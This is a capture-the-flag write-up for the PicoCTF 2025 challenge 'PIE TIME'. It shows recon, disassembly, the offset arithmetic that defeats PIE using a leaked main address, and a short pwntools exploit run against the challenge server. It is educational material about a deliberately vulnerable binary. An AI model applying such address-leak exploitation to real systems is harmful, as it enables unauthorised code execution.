3.2 KiB
title, excerpt, tags
| title | excerpt | tags | ||
|---|---|---|---|---|
| PicoCTF 2025: PIE TIME | Hinted PIE ret2win stack buffer overflow on an amd64 ELF |
|
Recon
$ file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/PIE-TIME/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
PIE is enabled here, so the program will be loaded at a different memory address each time it is run. Also, addresses of instructions inside the binary are now offsets, not absolute addresses. Fortunately, the program leaks the address for symbol main at runtime:
$ ./vuln
Address of main: 0x55aadb5fd33d
Enter the address to jump to, ex => 0x12345: ff
Your input: ff
Segfault Occurred, incorrect address.
The program behavior is quite simple, it asks for an address and jumps to it. Source code for the challenge was available, but it is easy to work without it here.
Upon inspection in IDA, we see a win function that seems to open the flag file:
.text:00000000000012A7 endbr64
.text:00000000000012AB push rbp
.text:00000000000012AC mov rbp, rsp
.text:00000000000012AF sub rsp, 10h
.text:00000000000012B3 lea rdi, aYouWon ; "You won!"
.text:00000000000012BA call _puts
.text:00000000000012BF lea rsi, modes ; "r"
.text:00000000000012C6 lea rdi, filename ; "flag.txt"
.text:00000000000012CD call _fopen
.text:00000000000012D2 mov [rbp+stream], rax
.text:00000000000012D6 cmp [rbp+stream], 0
.text:00000000000012DB jnz short loc_12F3
.text:00000000000012DD lea rdi, aCannotOpenFile ; "Cannot open file."
.text:00000000000012E4 call _puts
.text:00000000000012E9 mov edi, 0 ; status
.text:00000000000012EE call _exit
We can note here the offset of the function which is 0x12A7. Also, by taking a look at the main symbol, we see its offset is 0x133D:
.text:000000000000133D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000000133D public main
Exploit
Having this information we can deduct the space between the two symbols, by subtracting the two offsets. We find 0x96 bytes.
Now we can deduct the position of the win function at runtime, by taking main's address and subtracting 0x96. This can be done in a Pwntools script:
io = start()
main_text = io.recvuntil(b'12345:').split(b'\n')[0].split(b': ')[1].decode()
main_addr = int(main_text, 16)
win_addr = main_addr - 0x96
io.sendline(hex(win_addr).encode())
print(io.recvall())
We can execute the exploit and get the flag:
$ python exploit.py REMOTE rescued-float.picoctf.net 52840
b' Your input: 59c1cff1d2a7\nYou won!\npicoCTF{REDACTED}\n\n'